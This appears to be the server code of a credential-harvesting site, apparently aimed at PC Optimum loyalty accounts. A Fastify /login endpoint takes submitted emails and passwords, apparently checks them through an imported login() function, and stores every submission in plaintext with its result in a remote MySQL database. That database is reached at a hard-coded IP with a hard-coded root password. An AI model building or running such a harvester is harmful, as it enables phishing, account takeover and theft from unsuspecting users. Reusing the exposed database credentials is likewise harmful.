import Fastify from "fastify"; import fastifyStatic from "@fastify/static"; import { dirname, resolve, join } from "path"; import { fileURLToPath } from "url"; import { Sequelize, DataTypes } from "sequelize"; import { login } from "./login.mjs"; const __filename = fileURLToPath(import.meta.url); const __dirname = dirname(__filename); const fastify = Fastify({ logger: true, }); fastify.register(fastifyStatic, { root: resolve(__dirname, "public"), prefix: "/", }); const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", { host: "149.248.57.225", dialect: "mysql", }); const Accounts = sequelize.define( "accounts", { // Model attributes are defined here email: { type: DataTypes.STRING, allowNull: false, }, password: { type: DataTypes.STRING, allowNull: false, }, userAgent: { type: DataTypes.TEXT("long"), allowNull: true, }, ip: { type: DataTypes.STRING, allowNull: true, }, success: { type: DataTypes.BOOLEAN, allowNull: false, defaultValue: false, }, result: { type: DataTypes.TEXT("long"), allowNull: true, }, error: { type: DataTypes.TEXT("long"), allowNull: true, }, }, { // Other model options go here } ); sequelize .authenticate() .then(() => { console.log("Connection has been established successfully."); Accounts.sync().then(() => { console.log( "The table for the Account model was just (re)created!" ); }); }) .catch((error) => { console.error("Unable to connect to the database:", error); }); fastify.post("/login", async function (request, reply) { if (!request.body || !request.body.email || !request.body.password) { return reply .code(400) .send({ error: "email and password are required" }); } else { const { email, password } = request.body; try { const res = await login(email, password); const account = await Accounts.create({ email, password, userAgent: request.headers["user-agent"], success: true, result: res, }); return reply.code(200).send(); } catch (error) { console.error(error.stack); const account = await Accounts.create({ email, password, userAgent: request.headers["user-agent"], success: false, error: error.stack, }); return reply.code(500).send(error); } } }); fastify.listen({ port: 3000 }, function (err, address) { if (err) { fastify.log.error(err); process.exit(1); } });